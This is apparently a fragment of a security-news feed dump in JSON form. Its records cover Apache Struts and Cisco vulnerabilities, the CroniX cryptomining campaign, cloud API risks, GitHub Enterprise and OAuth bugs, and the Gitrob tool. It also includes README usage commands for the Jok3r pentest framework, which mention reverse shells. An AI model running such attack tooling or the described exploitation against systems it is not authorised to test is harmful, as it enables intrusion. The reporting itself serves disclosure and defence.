Umbrella, Cisco SD-WAN Solution, Cisco Cloud Services Platform, Cisco Data Center Network, and more products. \n \nThe three critical security vulnerabilities patched by Cisco address issues in Apache Struts, Cisco Umbrella API, and Cisco RV110W, RV130W and RV215W router's management interface. \n \n\n\n## Apache Struts Remote Code Execution Vulnerability (CVE-2018-11776)\n\n \nThe vulnerability, reported late last month by Semmle security researcher Man Yue Mo, resides in the core of Apache Struts and originates due to insufficient validation of user-provided untrusted inputs in the core of the Struts framework under certain configurations. \n \n\n\n> \"The vulnerability exists because the affected software insufficiently validates user-supplied input, allowing the use of results with no namespace value and the use of url tags with no value or action,\" Cisco explains in its [advisory](<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180823-apache-struts>).\n\n> \"In cases where upper actions or configurations also have no namespace or a wildcard namespace, an attacker could exploit this vulnerability by sending a request that submits malicious input to the affected application for processing.\"\n\nAn unauthenticated, remote attacker can trigger the vulnerability by tricking victims to visit a specially crafted URL on the affected web server, allowing the attacker to execute malicious code and eventually take complete control over the targeted server running the vulnerable application. \n \nAll applications that use [Apache Struts](<https://thehackernews.com/2018/08/apache-struts-vulnerability.html>)\u2014supported versions (Struts 2.3 to Struts 2.3.34, and Struts 2.5 to Struts 2.5.16) and even some unsupported Apache Struts versions\u2014are potentially vulnerable to this flaw, even when no additional plugins have been enabled. \n \nApache Struts patched the vulnerability with the release of Struts versions 2.3.35 and 2.5.17 last month. Now, Cisco has also released fixes to address the issue in its several products. You can check the list of vulnerable Cisco products [here](<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180823-apache-struts#vulnerable>). \n \nSince there are no workarounds for this issue, organizations and developers are strongly advised to update their Struts components as soon as possible. \n \n\n\n## Cisco Umbrella API Unauthorized Access Vulnerability (CVE-2018-0435)\n\n \nThe second critical vulnerability patched by Cisco resides in the Cisco Umbrella API that could allow an authenticated, remote attacker to view and modify data across their organization as well as other organizations. \n \nCisco Umbrella is a cloud security platform that provides the first line of defense against threats over all ports and protocols by blocking access to malicious domains, URLs, IPs, and files before a connection is ever established or a file is downloaded. \n \nThe vulnerability resides due to insufficient authentication configurations for the API interface of Cisco Umbrella, and successful exploitation could allow an attacker to read or modify data across multiple organizations. \n \nCisco has patched the vulnerability addressed this vulnerability in the Cisco Umbrella production APIs. No user action is required. \n \n\n\n## Cisco Routers Management Interface Buffer Overflow Vulnerability (CVE-2018-0423)\n\n \nThe last, but not the least, critical vulnerability resides in the web-based management interface of the Cisco RV110W Wireless-N VPN Firewall, Cisco RV130W Wireless-N Multifunction VPN Router, and Cisco RV215W Wireless-N VPN Router that could allow an unauthenticated, remote attacker to execute arbitrary code or cause a DoS condition. \n \nThe flaw occurs due to improper boundary restrictions on user-supplied input in the Guest user feature of the web-based management interface. \n \nTo exploit this vulnerability, an attacker can send malicious requests to a targeted device, triggering a buffer overflow condition. \n \n\n\n> \"A successful exploit could allow the attacker to cause the device to stop responding, resulting in a denial of service condition, or could allow the attacker to execute arbitrary code,\" the company explains.\n\n \nThis vulnerability affects all releases of Cisco RV110W Wireless-N VPN Firewall, RV130W Wireless-N Multifunction VPN Router, and RV215W Wireless-N VPN Router. \n \nCisco has addressed this vulnerability in firmware release 1.0.3.44 for the Cisco RV130W Wireless-N Multifunction VPN Router, and will not release firmware updates for the Cisco RV110W Wireless-N VPN Firewall and Cisco RV215W Wireless-N VPN Router. \n \nAccording to the company's Product Security Incident Response Team (PSIRT), Apache Struts is being exploited in the wild, while the team is not aware of any exploits leveraging the other two critical flaws. \n \n**The Bottom Line: **Patch!

massive data breach](<https://thehackernews.com/2017/09/equifax-credit-report-hack.html>) that was believed to be caused due to [a vulnerability in Apache Struts](<https://thehackernews.com/2017/03/apache-struts-framework.html>), Cisco has initiated an investigation into its products that incorporate a version of the popular Apache Struts2 web application framework. \n \nApache Struts is a free, open-source MVC framework for developing web applications in the Java programming language, and used by 65 percent of the Fortune 100 companies, including Lockheed Martin, Vodafone, Virgin Atlantic, and the IRS. \n \nHowever, the popular open-source software package was recently found affected by multiple vulnerabilities, including two remote code execution vulnerabilities\u2014one discovered earlier this month, and another in March\u2014one of which is [believed to be used](<https://blogs.apache.org/foundation/entry/apache-struts-statement-on-equifax>) to breach personal data of over [143 million Equifax users](<https://thehackernews.com/2017/09/equifax-data-breach.html>). \n \nSome of Cisco products including its Digital Media Manager, MXE 3500 Series Media Experience Engines, Network Performance Analysis, Hosted Collaboration Solution for Contact Center, and Unified Contact Center Enterprise have been found vulnerable to multiple Apache Struts flaws. \n \n\n\n### Cisco Launches Apache Struts Vulnerability Hunting\n\n \nCisco is also testing rest of its products against four newly discovered security vulnerability in Apache Struts2, including the one (CVE-2017-9805) [we reported on September 5](<https://thehackernews.com/2017/09/apache-struts-vulnerability.html>) and the remaining three also disclosed last week. \n \nHowever, the remote code execution bug (CVE-2017-5638) that was [actively exploited back in March](<https://thehackernews.com/2017/03/apache-struts-framework.html>) this year is not included by the company in its recent security audit. \n \nThe three vulnerabilities\u2014CVE-2017-9793, CVE-2017-9804 and CVE-2017-9805\u2014included in the [Cisco security audit](<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170907-struts2>) was released by the Apache Software Foundation on 5th September with the release of Apache Struts 2.5.13 which patched the issues. \n \nThe fourth vulnerability (CVE-2017-12611) that is being [investigated by Cisco](<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170909-struts2-rce>) was released on 7th September with the release of Apache Struts 2.3.34 that fixed the flaw that resided in the Freemarker tag functionality of the Apache Struts2 package and could allow an unauthenticated, remote attacker to execute malicious code on an affected system. \n \n\n\n### Apache Struts Flaw Actively Exploited to Hack Servers & Deliver Malware\n\n \nComing on to the most severe of all, CVE-2017-9805 (assigned as critical) is a programming bug that manifests due to the way Struts REST plugin handles XML payloads while deserializing them. \n \nThis could allow a remote, unauthenticated attacker to achieve remote code execution on a host running a vulnerable version of Apache Struts2, and Cisco's Threat intelligence firm Talos has [observed](<http://blog.talosintelligence.com/2017/09/apache-struts-being-exploited.html>) that this flaw is [under active exploitation](<https://thehackernews.com/2017/09/apache-struts-vulnerability.html>) to find vulnerable servers. \n \nSecurity researchers from data centre security vendor Imperva recently [detected](<https://www.imperva.com/blog/2017/09/cve-2017-9805-analysis-of-apache-struts-rce-vulnerability-in-rest-plugin/>) and blocked thousands of attacks attempting to exploit this Apache Struts2 vulnerability (CVE-2017-9805), with roughly 80 percent of them tried to deliver a malicious payload. \n \nThe majority of attacks originated from China with a single Chinese IP address registered to a Chinese e-commerce company sending out more than 40% of all the requests. Attacks also came from Australia, the U.S., Brazil, Canada, Russia and various parts of Europe. \n \nOut of the two remaining flaws, one (CVE-2017-9793) is again a vulnerability in the REST plug-in for Apache Struts that manifests due to \"insufficient validation of user-supplied input by the XStream library in the REST plug-in for the affected application.\" \n \nThis flaw has been given a Medium severity and could allow an unauthenticated, remote attacker to cause a denial of service (DoS) condition on targeted systems. \n \nThe last flaw (CVE-2017-9804) also allows an unauthenticated, remote attacker to cause a denial of service (DoS) condition on an affected system but resides in the URLValidator feature of Apache Struts. \n \nCisco is testing its products against these vulnerabilities including its WebEx Meetings Server, the Data Center Network Manager, Identity Services Engine (ISE), MXE 3500 Series Media Experience Engines, several Cisco Prime products, some products for voice and unified communications, as well as video and streaming services. \n \nAt the current, there are no software patches to address the vulnerabilities in Cisco products, but the company promised to release updates for affected software which will soon be accessible through the [Cisco Bug Search Tool](<https://bst.cloudapps.cisco.com/bugsearch/bug/BUGID>). \n \nSince the framework is being widely used by a majority of top 100 fortune companies, they should also check their infrastructures against these vulnerabilities that incorporate a version of Apache Struts2.\n", "cvss3": {}, "published": "2017-09-11T23:50:00", "type": "thn", "title": "Apache Struts 2 Flaws Affect Multiple Cisco Products", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2017-9804", "CVE-2017-5638", "CVE-2017-9793", "CVE-2017-9805", "CVE-2017-12611"], "modified": "2017-09-12T10:51:16", "id": "THN:3F47D7B66C8A65AB31FAC5823C96C34D", "href": "https://thehackernews.com/2017/09/apache-struts-flaws-cisco.html", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2022-05-09T12:37:24", "description": "[](<https://thehackernews.com/images/-mNDlC0tKMKU/YSOiCQjKsfI/AAAAAAAADm0/8vxg1C4GweIrljnlPQrCj0yPLMYs18y_ACLcBGAsYHQ/s0/linux.jpg>)\n\nClose to 14 million Linux-based systems are directly exposed to the Internet, making them a lucrative target for an array of real-world attacks that could result in the deployment of malicious web shells, coin miners, ransomware, and other trojans.\n\nThat's according to an in-depth look at the Linux threat landscape published by U.S.-Japanese cybersecurity firm [Trend Micro](<https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/linux-threat-report-2021-1h-linux-threats-in-the-cloud-and-security-recommendations>), detailing the top threats and vulnerabilities affecting the operating system in the first half of 2021, based on data amassed from honeypots, sensors, and anonymized telemetry.\n\nThe company, which detected nearly 15 million malware events aimed at Linux-based cloud environments, found coin miners and ransomware to make up 54% of all malware, with web shells accounting for a 29% share.\n\nIn addition, by dissecting over 50 million events reported from 100,000 unique Linux hosts during the same time period, the researchers found 15 different security weaknesses that are known to be actively exploited in the wild or have a proof of concept (PoC) \u2014\n\n * [**CVE-2017-5638**](<https://nvd.nist.gov/vuln/detail/CVE-2017-5638>) (CVSS score: 10.0) -

It is initially based on official Kali Linux Docker image (kalilinux/kali-linux-docker). \n \n**Pull Jok3r Docker Image:** \n\n \n \n sudo docker pull koutto/jok3r\n\n**Run fresh Docker container:** \n\n \n \n sudo docker run -i -t --name jok3r-container -w /root/jok3r --net=host koutto/jok3r\n\n**Important: --net=host option is required to share host's interface. It is needed for reverse connections (e.g. Ping to container when testing for RCE, Get a reverse shell)** \nJok3r and its toolbox is ready-to-use ! \n\n\n * To re-run a stopped container:\n \n \n sudo docker start -i jok3r-container\n\n * To open multiple shells inside the container:\n \n \n sudo docker exec -it jok3r-container bash\n\nFor information about building your own Docker image or installing _Jok3r_ on your system without using Docker, refer to <https://jok3r.readthedocs.io/en/latest/installation.html> \n \n[](<https://draft.blogger.com/null>) \n**Quick usage examples** \n**Show all the tools in the toolbox** \n\n \n \n python3 jok3r.py toolbox --show-all\n\n**Install all the tools in the toolbox** \n\n \n \n python3 jok3r.py toolbox --install-all --fast\n\n**Update all the tools in the toolbox** \n\n \n \n python3 jok3r.py toolbox --update-all --fast\n\n**List supported services** \n\n \n \n python3 jok3r.py info --services\n\n**Show security checks for HTTP** \n\n \n \n python3 jok3r.py info --checks http\n\n**Create a new mission in local database** \n\n \n \n python3 jok3r.py db\n \n jok3rdb[default]> mission -a MayhemProject\n \n [+] Mission \"MayhemProject\" successfully added\n [*] Selected mission is now MayhemProject\n \n jok3rdb[MayhemProject]>\n\n**Run security checks against an URL and add results to the mission** \n\n \n \n python3 jok3r.py attack -t https://www.example.com/webapp/ --add MayhemProject\n\n**Run security checks against a MSSQL service (without user-interaction) and add results to the mission** \n\n \n \n python3 jok3r.py attack -t 192.168.1.42:1433 -s mssql --add MayhemProject --fast\n\n**Import hosts/services from Nmap results into the mission scope** \n\n \n \n python3 jok3r.py db\n \n jok3rdb[default]> mission MayhemProject\n \n [*] Selected mission is now MayhemProject\n \n jok3rdb[MayhemProject]> nmap results.xml\n\n**Run security checks against all services in the given mission and store results in the database** \n\n \n \n python3 jok3r.py attack -m MayhemProject --fast\n\n**Run security checks against only FTP services running on ports 21/tcp and 2121/tcp from the mission** \n\n \n \n python3 jok3r.py attack -m MayhemProject -f \"port=21,2121;service=ftp\" --fast\n\n**Run security checks against only FTP services running on ports 2121/tcp and all HTTP services on 192.168.1.42 from the mission** \n\n \n \n python3 jok3r.py attack -m MayhemProject -f \"port=2121;service=ftp\" -f \"ip=192.168.1.42;service=http\"\n\n[](<https://draft.blogger.com/null>) \n \n**Typical usage example** \nYou begin a pentest with several servers in the scope. Here is a typical example of usage of _JoK3r_: \n\n\n 1. You run _Nmap_ scan on the servers in the scope.\n 2. You create a new mission (let's say \"MayhemProject\") in the local database:\n \n \n python3 jok3r.py db\n \n jok3rdb[default]> mission -a MayhemProject\n \n [+] Mission \"MayhemProject\" successfully added\n [*] Selected mission is now MayhemProject\n \n jok3rdb[MayhemProject]>\n\n 3. You import your results from _Nmap_ scan in the database:\n \n \n jok3rdb[MayhemProject]> nmap results.xml\n\n 4. You can then have a quick overview of all services and hosts in the scope, add some comments, add some credentials if you already have some knowledge about the targets (grey box pentest), and so on\n \n \n jok3rdb[MayhemProject]> hosts\n \n [...]\n \n jok3rdb[MayhemProject]> services\n \n [...]\n\n 5. Now, you can run security checks against some targets in the scope. For example, if you want to run checks against all Java-RMI services in the scope, you can run the following command:\n \n \n python3 jok3r.py attack -m MayhemProject -f \"service=java-rmi\" --fast\n\n 6. You can view the results from the security checks either in live when the tools are executed or later from the database using the following command:\n \n \n jok3rdb[MayhemProject]> results\n\n[](<https://draft.blogger.com/null>) \n \n**Full Documentation** \nDocumentation is available at: <https://jok3r.readthedocs.io/> \n \n[](<https://draft.blogger.com/null>) \n**Supported Services & Security Checks ** \n**Lots of checks remain to be implemented and services must be added !!

A known threat actor has mounted a large cryptomining campaign using the recently disclosed Apache Struts 2 critical remote code-execution vulnerability. It uses a new malware designed for persistence and stealth, dubbed CroniX.\n\nThe malware\u2019s snappy name comes from the fact that it uses the Cron tool for persistence and Xhide for launching executables with fake process names, according to researchers at F5 Labs, who analyzed the campaign.\n\nThe Apache Struts 2 namespace vulnerability ([CVE-2018-11776](<https://threatpost.com/apache-struts-2-flaw-uncovered-more-critical-than-equifax-bug/136850/>)) was disclosed just two weeks ago by researchers at Semmle. Researchers have warned that it has the potential to open the door to even more critical havoc than the bug at the root of the [infamous Equifax breach](<https://threatpost.com/equi-facts-equifax-clarifies-the-numbers-for-its-massive-breach/131797/>), which was also an Apache Struts 2 flaw ([CVE-2017-5638](<https://threatpost.com/equifax-confirms-march-struts-vulnerability-behind-breach/127975/>)). That\u2019s quite a statement given that the attack resulted in the exposure of personally identifiable information (PII) of 147 million consumers, costing the Fortune 500 credit-reporting company more than $439 million in damages and leading to the resignation of several of its executives.\n\nThe new campaign makes use of one of the [proof-of-concept exploits](<https://threatpost.com/poc-code-surfaces-to-exploit-apache-struts-2-vulnerability/136921/>) that were published on Github2 and Twitter just days after the latest flaw was publicized. Adversaries are using it to gain unauthenticated remote code-execution capabilities on targeted Linux machines in order to install a [Monero cryptomining script](<https://threatpost.com/?s=monero>), F5 researchers said.\n\n\u201cAs with many other Apache Struts 2 vulnerabilities, CVE-2018-11776 allows attackers to inject Object-Graph Navigation Language (OGNL) expressions, which might contain malicious Java code that is evaluated under several circumstances,\u201d the team explained in [a posting](<https://www.f5.com/labs/articles/threat-intelligence/apache-struts-2-vulnerability--cve-2018-11776--exploited-in-cron>) Tuesday. \u201cThis time, the injection point is within the URL. The attacker sends a single HTTP request while injecting an OGNL expression that, once evaluated, executes shell commands to download and execute a malicious file.\u201d\n\nThey added, \u201cconsidering it\u2019s only been two weeks since this vulnerability was discovered, it\u2019s worth noting how fast attackers are weaponizing vulnerabilities and how quickly researchers are seeing them in the wild.\u201d\n\n**Analysis**\n\nTaking a closer look at the malware, the team saw the malware downloads a file called \u201cH,\u201d which turns out to be an old XHide tool for launching executables with a fake process name, the researchers said. In this case, it launches a fork of the XMRig Monero miner, with an embedded configuration (pool, username and password), while changing the process name to the more innocuous-sounding \u201cjava.\u201d\n\nThe analysts also saw that three Cron jobs are used for persistence, with two of them refreshing the backdoor every day with downloads from the C2 server. Another job downloads a daily file named \u201canacrond,\u201d which saves itself in various Cron job files around the system. In all three cases, the scripts are used to connect to the C2 server and download the deployment bash script to restart the mining process; older versions of the scripts are then deleted off the system.\n\nCroniX also a competitive malware, locating and deleting the binaries of any previously installed cryptominers so as to claim all of the CPU resources for itself, F5 found.\n\n\u201cFor some miners, the attacker decides to take a more careful approach and check each process name and process CPU usage, and then kill only those processes that utilize 60 percent or more of the CPU resources,\u201d F5 researchers said. \u201cThis is probably done to avoid killing legitimate processes as the names of these miners (crond, sshd and syslogs) typically relate to legitimate programs on a Linux system.\u201d\n\nComparing the modus operandi of the operation, F5 researchers believe the actor is the same group that was behind a previous campaign exploiting Jenkins servers via [CVE-2017-1000353](<https://devcentral.f5.com/articles/jenkins-unsafe-deserialization-vulnerability-cve-2017-1000353-30142>). That campaign was uncovered two months ago.\n\n\u201cThe malware deployment pattern\u2026similar deployed file names and the quite unique usage of the XHide process-faker made us believe that the threat actor behind the exploitation of this fresh Struts 2 vulnerability is the same one,\u201d researchers noted in the analysis.\n\nOne difference is that in the previous campaign, the threat actor used a Chinese Git website to host malicious files. Here, the attackers are using a dedicated web server hosted in the U.S., along with domain names designating the Pacific island of Palau (.pw) \u2013 believed registered by a Russian registrant.\n\nWhile cryptomining can be seen as less destructive than [wiper malware,](<https://threatpost.com/secrets-of-the-wiper-inside-the-worlds-most-destructive-malware/131836/>) [ransomware](<https://threatpost.com/apache-struts-2-exploits-installing-cerber-ransomware/124844/>) or Equifax-like [mass data exfiltration](<https://threatpost.com/equifax-says-breach-affects-143-million-americans/127880/>) (all of which can be carried out using this flaw), Jeannie Warner, security manager at WhiteHat Security, noted that exploit development tends to be faster for more widely embedded flaws, highlighting the importance of patching this particular issue immediately.\n\n\u201cApache Struts is used by some of the world\u2019s largest companies,\u201d she said via email. \u201cThe more common the vulnerability, the more it helps attackers simplify their process\u2026and the easier it becomes for non-skilled hackers to compromise more websites. Methods to exploit this newest Struts vulnerability are already available online, so it is absolutely critical that all companies implement the patch immediately. There\u2019s no time to waste.\u201d\n\nMore attacks should be anticipated; in fact, while Linux machines seem to be the target for this particular CroniX effort, the F5 analysis uncovered an additional file lurking on the server that seems tailored to Microsoft\u2019s OS.\n\n\u201c[The file] at /win/checking-test.hta holds a Visual Basic script that calls a Microsoft Windows cmd to run a Powershell command on a targeted victim,\u201d researchers said. \u201cSo, it seems this threat actor is targeting Windows OS (not just Linux) using another operation hosted on the same server.\u201d\n", "cvss3": {}, "published": "2018-09-05T17:48:03", "type": "threatpost", "title": "Active Campaign Exploits Critical Apache Struts 2 Flaw in the Wild", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2017-1000353", "CVE-2017-5638", "CVE-2018-11776"], "modified": "2018-09-05T17:48:03", "id": "THREATPOST:D70CED5C745CA3779F2D02FBB6DBA717", "href": "https://threatpost.com/active-campaign-exploits-critical-apache-struts-2-flaw-in-the-wild/137207/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2018-10-06T22:55:19", "description": "When it comes to cloud computing, APIs more or less drive everything, but in the eyes of some researchers, existing security controls around them haven\u2019t kept pace.\n\nWhile individual components of a system can be secure, when that system gets deployed in the cloud it can often become insecure \u2013 and get worse at scale, according to Erik Peterson, a cloud technology researcher with Veracode. Peterson, who also refers to himself as a Cloud Security Weapons Manufacturer, described the \u2018Emergent Insecurity\u2019 of the cloud in a talk Wednesday at the Source Conference in Boston.\n\nEarly on in his presentation, Peterson recounted a [Chris Hoff](<https://twitter.com/Beaker>) quote that he claims sums up the concept: \u201cIf your security sucks now, you\u2019ll be pleasantly surprised by the lack of change when you move to cloud.\u201d\n\nIn particular Peterson warned about the dangers associated with API credential exposure, something which could easily lead to apps being rigged to spread malware, cloud infrastructure adapted for use in a Bitcoin mining operation, additional attacks being launched, and the most critical: the downloading of sensitive customer data.\n\n\u201cAPI access is the new equivalent to physical access,\u201d Peterson said, \u201cIf someone compromises your most sensitive API credential, it doesn\u2019t matter.\u201d\n\nAPI keys, which protect cloud metadata \u2013 information that usually includes Amazon Web Services (AWS) access credentials, and startup scripts \u2013 can often be the only thing standing between users and total compromise, he stressed.\n\nPeterson, who\u2019s researched cloud and architect solutions in AWS since 2009, warned that old, vintage software vulnerabilities can easily be leveraged for compromise.\n\nHe\u2019s seen it all: Server-side request forgery vulnerabilities, XML external entity vulnerabilities, command injection vulnerabilities, unintended proxy or intermediary vulnerabilities. Each one can lead to the unintended exposure of metadata, but when they all come together, it can result in a full stack hack, or what Peterson likens to \u201cdeath by 1,000 cuts.\u201d\n\nFor instance, he claims, if an attacker gained access to an API key they could escalate privileges. If they gained access to cloud DNS, it could reveal the private IP of the web server. If an attacker got access to an IP address, they could uncover an app that hasn\u2019t been tested. Once in, it\u2019s possible an attacker could do the worst, Peterson claims, clone the database for quiet extraction.\n\n\u201cLots of people are shuffling cloud data and not thinking of the flaws,\u201d Peterson said, \u201cthey all lead to exposing that user data, all that great info my system needs to startup.\u201d\n\nThere are ways to prevent a full stack hack, mainly through encryption, but common sense doesn\u2019t hurt either.\n\n\u201cNo more checking your API keys into GitHub,\u201d Peterson advised.\n\nAttackers often scour the service looking to exploit vulnerabilities and access cloud metadata API. Storing sensitive information like API keys there can be a quick lesson in futility. That still doesn\u2019t stop users from doing it though; a cursory search on the service for \u201cSECRET_ACCESS_KEY\u201d last year yielded 7,500 placeholder results, Peterson said.\n\nOne developer discovered 140 servers running on his Amazon Web Services account [last year](<https://it.slashdot.org/story/15/01/02/2342228/bots-scanning-github-to-steal-amazon-ec2-keys>) after a bot scanning GitHub sniffed out his Amazon Elastic Compute Cloud (EC2) keys.\n\nDevelopers should get off the old EC2 classic and lockdown their Simple Storage Service (S3) buckets, Peterson said Wednesday. If they aren\u2019t already, developers should log everything, especially API activity, he said, adding that some AWS tools, like [Cloudtrail](<https://aws.amazon.com/cloudtrail/>), which records AWS API calls, and [Netflix\u2019s Security Monkey](<https://threatpost.com/netflix-open-source-security-tools-solve-range-of-challenges/107931/>), which can be used to monitor and analyze AWS configurations, can be invaluable.\n\nInstead of trying to control change, developers should react to change, rethink their threat model and realize that lower priority software vulnerabilities, like SSRF, or XXE, can still be deadly, Peterson said.\n\n\u201cIf you have a key that an app is using ask yourself: What\u2019s the worst thing that could happen if it was compromised?\u201d Peterson asked aloud, \u201cIs there a path that leads to my entire environment getting deleted by some unknown entity?\u201d\n", "cvss3": {}, "published": "2016-05-19T14:20:22", "type": "threatpost", "title": "Protecting Cloud APIs Critical to Mitigating Total Compromise", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2018-11776"], "modified": "2016-05-19T18:20:22", "id": "THREATPOST:08BA9FD6E2245EA011F6C29F24929679", "href": "https://threatpost.com/protecting-cloud-apis-critical-to-mitigating-total-compromise/118197/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2018-10-06T22:53:56", "description": "GitHub recently awarded $18,000 to a researcher after he came across a bug in its GitHub Enterprise management console that could have resulted in remote code execution.\n\nThe company patched the vulnerability at the end of January, but news of the flaw didn\u2019t surface until this week when GitHub and Markus Fenske, a German independent pen-tester [disclosed it](<http://exablue.de/blog/2017-03-15-github-enterprise-remote-code-execution.html>).\n\nGitHub Enterprise is an on-premises version of GitHub.com that can be used to deploy a GitHub service on their organization\u2019s local network. The vulnerability is a combination of two bugs, Fenske told Threatpost Thursday.\n\nOne problem stems from the fact that a static value was being used to cryptographically sign the Ruby on Rails session secret for the console. The secret value is supposed to be a randomly generated per-machine value used to sign the cookie, not a static value.\n\nGitHub acknowledged on Tuesday that the static secret was only supposed to be used for testing and development, but \u201can unrelated change of file permissions prevented the intended (and randomly generated) session secret from being used.\u201d\n\n\u201cFor testing purposes they replaced it with a static value and forgot to change it back,\u201d Fenske told Threatpost. In the production environment, there was a mechanism that should have replaced it with a random value. But it did not work.\u201d\n\nWhile GitHub shouldn\u2019t have been using a static secret to sign cookies that hold session data, the other problem, Fenske says, is that session data could be serialized with Marshal. [Marshal](<https://ruby-doc.org/core-2.2.2/Marshal.html>), a library that converts collections of Ruby objects into a byte stream, has a method, .load, that can return the result of converted serialized data.\n\nAs Fenske points out, [documentation](<https://ruby-doc.org/core-2.2.0/Marshal.html#method-c-load>) around Marshal.load says to \u201cnever pass untrusted data (including user supplied input) to this method,\u201d but that\u2019s what GitHub was doing.\n\nBy knowing the secret, an attacker could have forged a cookie, deserialized by Marshal.load, and tricked GitHub into running whatever code they wanted.\n\n\u201cBecause the secret is known, you can create a valid signature and pass arbitrary data to Marshal.load, which then leads to remote code execution,\u201d Fenske said.\n\nFenske says that while he sells sugar wax for hair removal by day\u2013[seriously](<https://www.bodypil.de/ueber-uns.html>)\u2013he hacks stuff by night. He founded an IT security consulting firm, Exablue, last month which he plans to use to carry out audits, pen-testing, and \u201cthe whole range\u201d going forward. He said he was inspired to poke around GitHub Enterprise after he stumbled upon a blogpost by Taiwanese hacker Orange Tsai about [a SQL injection](<http://blog.orange.tw/2017/01/bug-bounty-github-enterprise-sql-injection.html>) he found in the platform.\n\n\u201cAbout two minutes after decoding the source and opening the first file (config.ru) of the first application (the management interface), I noticed the vulnerability,\u201d Fenske said.\n\nGitHub fixed the vulnerability on Jan. 31 when it pushed out GitHub Enterprise 2.8.7. Now the service defaults to a randomly generated session secret if the initially configured session secret is not found.\n\nIt was a fairly quick turnaround for the company; the patch came only five days after Fenske reported the issue and earned him $10,000, the highest reward the company gives out through its bug bounty program, and [a spot in its Hall of Fame](<https://bounty.github.com/researchers/iblue.html>).\n\n\u200b\u201dWorking with GitHub is really nice,\u201d Fenske said, \u201cFor a company that big, their speed is amazing.\u201d\n\nThe researcher had no idea when he submitted the bug, however, that the company was in the middle of a promotional bug bounty period. The company [announced the promotion](<https://github.com/blog/2302-bug-bounty-anniversary-promotion-bigger-bounties-in-january-and-february>), which stretched from January to February, to celebrate the third anniversary of its [bug bounty program](<https://bounty.github.com/#rules>) with HackerOne.\n\nAfter he sent a draft of his disclosure to the company this week, Fenske discovered his bug was severe enough to fetch an additional $8,000 bounty and [second place in the contest](<https://github.com/blog/2332-bug-bounty-third-anniversary-wrap-up>).\n\n\u201cI was just writing my article and sent GitHub a draft to look at, and the answer came within minutes, telling me that I can publish whatever I like and that they gave me more money,\u201dhe said, \u201cI did not know about that extra contest and was very pleasantly surprised.\u201d\n\nFenske\u2019s bug was one of three GitHub fixed in its Enterprise product to qualify for additional bug bounty money. The company also fixed two separate SAML authentication bypass bugs in the service.\n\nFenske said the latest release of GitHub Enterprise uses a secret that\u2019s 16 random bytes written in hex.\n\n\u201cI quickly calculated that cracking it will take about 469142742208 gigayears on a 8-GPU instance (for comparison: The Sun will be gone in 7.7 gigayears).

But it\u2019s also a trove of potentially sensitive company and project information that\u2019s likely to warrant attention from hackers.\n\nAn application security specialist from Berlin has developed a tool he hopes can keep companies a step ahead. [Gitrob](<http://michenriksen.com/blog/gitrob-putting-the-open-source-in-osint/>) is an open source intelligence command-line tool that mines GitHub for files belonging to an organization and runs them against pre-determined patterns looking for potentially sensitive information that isn\u2019t meant for public consumption.\n\nIts developer Michael Henriksen, who does application security and code auditing for SoundCloud, says Gitrob starts off by using GitHub\u2019s public API to query a Github organization\u2019s list of public members.\n\n\u201cWhen the list of members is obtained, it queries GitHub again for each member that returns a list of their public repositories,\u201d Henriksen told Threatopst. \u201cThe contents of the repositories are never downloaded to the machine, it simply uses GitHub\u2019s API again to obtain a list of file names. When clicking on a file in the web interface to see its contents, it is fetched from GitHub\u2019s servers.\u201d\n\nHenriksen said he has built a number of Observers, which act as Gitrob plug-ins, that flag files matching certain patterns. Organization members, repositories and files are saved to a PostgreSQL database for analysis before a Sinatra webserver is started locally in order to serve a web app that presents the data for analysis, which must be conducted manually.\n\n\u201cAll the files are sent through these observers, one by one, and the observers can then decorate or make changes to the file\u2019s database record, before it is saved to the database,\u201d Henriksen said. \u201cRight now, Gitrob actually only contains one observer which will flag files that match [patterns of interesting files](<https://github.com/michenriksen/gitrob/blob/master/patterns.json>), but the design makes it easy to introduce new logic to look for other things.

[Gists](<https://gist.github.com/>) are Pastebin-like repositories on Github that allow coders to share bits and pieces of their work with their contemporaries, and OAuth is an authentication protocol that can allow different entities, be it a web app or a mobile app, varying degrees of access to your account.\n\nThe first vulnerability in Github Homakov noticed was that he could bypass its [redirect_uri](<https://developer.github.com/v3/oauth/#redirect-urls>) validation by imputing a /../ path traversal. A path traversal attack allows access files and directories stored outside the web root folder to be accessed by manipulating the URL. In this case when the browser is redirected, Homakov found that he can control the HTTP parameter and trick it into not fully parsing the URL, letting him redirect to any Gist page he wants.\n\nIn fact Homakov found that whatever the client sent to get an authorization token, the provider would respond with a valid access_token, a vulnerability that could be used to compromise the log-in functionality on any site that uses it.\n\nThis \u2013 the second bug \u2013 could make it easy for an attacker to hijack the authorization code used for the redirect_uri and simply apply the leaked code on real client\u2019s callback to log in under the victim\u2019s account.\n\nHomakov discovered he could leverage both bugs to trick a user into following a link to get Github to leak a code sending request to him. Using something he\u2019s nicknamed an [Evolution of Open Redirect vulnerability](<http://homakov.blogspot.com/2014/01/evolution-of-open-redirect-vulnerability.html>) the code sending request is sent to an image request which Homakov can then use to then log into the victim\u2019s account and secure access to private gists.\n\nGists are static pages and can even allow users to embed their own images, or at least image code. In this situation there\u2019s a certain way the code can point to a suspicious URL and acquire the victim\u2019s code.\n\nOnce in, Homakov found that the client reveals the victim\u2019s actual OAuth access_token to the user agent, something he then was able to take advantage of and use to perform API calls on behalf of the victim.\n\nSince Gist falls under the Github umbrella, Homakov found the client approves any scope it\u2019s asked automatically. That includes allowing it to carry out specially crafted URLs that can leak code, giving him access to private GitHub repositories and Gists, \u201call in stealth-mode,\u201d because the github_token belongs to the Gist client. From here Homakov has the control of the affected Github user and their Gist account.\n\nHomakov is no stranger to rooting out Github bugs; he blogged about a bug involving the way the site pushes [public keys](<http://homakov.blogspot.com/2012/03/how-to.html>) in March 2012 and a problem with the way the site [handles 